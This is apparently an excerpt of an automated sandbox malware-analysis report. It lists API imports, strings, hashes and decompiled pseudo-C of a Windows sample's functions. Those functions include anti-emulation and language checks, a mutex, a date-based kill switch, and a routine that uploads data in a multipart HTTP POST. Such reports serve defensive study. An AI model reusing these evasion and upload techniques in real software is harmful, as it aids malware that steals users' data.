GetProcAddress.KERNEL32(76990000,007FAAC8), ref: 0040CF3A
GetProcAddress.KERNELBASE(6FC40000,007F9340), ref: 0040CF5B
GetProcAddress.KERNEL32(76600000,007E59A8), ref: 0040CF7C
GetProcAddress.KERNEL32(76AE0000,007E5AA8), ref: 0040CF9E
GetProcAddress.KERNEL32(73870000,007F9B10), ref: 0040CFC3
GetProcAddress.KERNEL32(73870000,007E5968), ref: 0040CFDB
GetProcAddress.KERNEL32(73870000,007F9A70), ref: 0040CFF4
GetProcAddress.KERNEL32(73870000,007E5AC8), ref: 0040D00C
GetProcAddress.KERNEL32(73870000,007F9B38), ref: 0040D024
GetProcAddress.KERNEL32(73870000,007FAAE0), ref: 0040D03D
GetProcAddress.KERNEL32(6F560000,007FABA0), ref: 0040D062
GetProcAddress.KERNEL32(6F560000,007FABE8), ref: 0040D07A
GetProcAddress.KERNEL32(6F560000,007E5C48), ref: 0040D093
GetProcAddress.KERNEL32(6F560000,007FB550), ref: 0040D0AB
GetProcAddress.KERNEL32(6F560000,007FB570), ref: 0040D0C3
GetProcAddress.KERNEL32(6F560000,007FABB8), ref: 0040D0DC
GetProcAddress.KERNEL32(76550000,007FAC00), ref: 0040D0FD
GetProcAddress.KERNEL32(76550000,007F9F98), ref: 0040D115
GetProcAddress.KERNEL32(76550000,007FAC18), ref: 0040D12E
GetProcAddress.KERNEL32(750F0000,007FB5B0), ref: 0040D14F
GetProcAddress.KERNEL32(750F0000,007FAB10), ref: 0040D167
GetProcAddress.KERNEL32(73130000,007F9868), ref: 0040D18D
GetProcAddress.KERNEL32(73130000,007FB3B0), ref: 0040D1A5
GetProcAddress.KERNEL32(73130000,007F9B60), ref: 0040D1BD
GetProcAddress.KERNEL32(73130000,007FAB58), ref: 0040D1D6
GetProcAddress.KERNEL32(73130000,007FAB28), ref: 0040D1EE
GetProcAddress.KERNEL32(73130000,007FB630), ref: 0040D206
GetProcAddress.KERNEL32(73130000,007FB590), ref: 0040D21F
GetProcAddress.KERNEL32(73130000,007FAB70), ref: 0040D237
GetProcAddress.KERNEL32(76610000,007FB4F0), ref: 0040D258
GetProcAddress.KERNEL32(76610000,007FB3D0), ref: 0040D271
GetProcAddress.KERNEL32(6E0E0000,007FAD38), ref: 0040D292

Strings

X~, xrefs: 0040CBB5
SetEnvironmentVariableA, xrefs: 0040C9B6
HW~, xrefs: 0040C5EC
Z~, xrefs: 0040CE21
H[~, xrefs: 0040C8DE
RegGetValueA, xrefs: 0040CDCC
GetEnvironmentVariableA, xrefs: 0040C99F
H\~, xrefs: 0040D085
[~, xrefs: 0040CB84
h[~, xrefs: 0040C958
Y~, xrefs: 0040C8F7
(Y~, xrefs: 0040CCCC
(W~, xrefs: 0040C666
hY~, xrefs: 0040CFCE
CreateThread, xrefs: 0040C989
InternetCrackUrlA, xrefs: 0040CC16
hZ~, xrefs: 0040C970
(Z~, xrefs: 0040CC6B
T~, xrefs: 0040C696
(\~, xrefs: 0040CD9C
memcpy, xrefs: 0040CB18
([~, xrefs: 0040C927
HY~, xrefs: 0040CE39
lstrcpynA, xrefs: 0040C9E3
memset, xrefs: 0040CB01
HZ~, xrefs: 0040CB54
lstrcpyA, xrefs: 0040C9CD

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (W~$(Y~$(Z~$([~$(\~$CreateThread$GetEnvironmentVariableA$HW~$HY~$HZ~$H[~$H\~$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$hY~$hZ~$h[~$lstrcpyA$lstrcpynA$memcpy$memset$T~$X~$Y~$Z~$[~
API String ID: 2238633743-3059289325
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x7e54a8
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x7e5548
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,007E54A8), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

HU~, xrefs: 004069B5

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: HU~
API String ID: 2797641603-4055494720
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0068003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0068024D

Strings

kernel32.dll, xrefs: 0068008F, 00680095
cess, xrefs: 0068018D

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 8446ca6f81314f98908715cf7b3457a87f6a85997ffec74d75fa77ff80987a63
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 4F527974A01229DFDBA4CF58C984BA8BBB1BF09304F1485D9E50DAB351DB30AE89DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F9198), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007E42B8), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007E5648), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F90C0), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F9030), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F91B0), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F8FE8), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007F8F58), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007E5868), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,007E5608), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(007F9108,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(007F90A8,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73AE0000,007F90D8), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,007E54C8,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA3F0), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA5B8), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007E55A8), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA708), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA690), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA660), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA720), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA678), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA6C0), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA6D8), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA930), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA918), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FAA08), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007E5748), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007FA948), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,007E5588), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,007E54A8), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x7e54c8
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,007E54C8,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00680DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00680223,?,?), ref: 00680E02
SetErrorMode.KERNELBASE(00000000,?,?,00680223,?,?), ref: 00680E07

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: b8f12b33f2e87ae2b0d7c4a4d3a75a7ebad1bf66e469536728b2d4670468e72d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 68D0123214512CB7D7402B94DC0DBCE7B1C9F05B67F008411FB0DD9581C770994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 00680920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00680929

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction ID: 81cc2d85be0b363c656950924f38b6f44aec89e449adb5a9cb9224a94380d57e
Opcode Fuzzy Hash: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction Fuzzy Hash: 8B90047034415C11DD3435DC0C11F0501015745774F3007317130DD1D4DC4055003315

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 110.6, APIs: 56, Strings: 7, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x7e48b0
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x7fac30
							_t219 =  *0x41a590; // 0x7fa058
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x7fac30
							_t207 =  *0x41a590; // 0x7fa058
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x7f9400
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x7f9fa8
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x7e4630
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x7f9370
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x7f9430
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
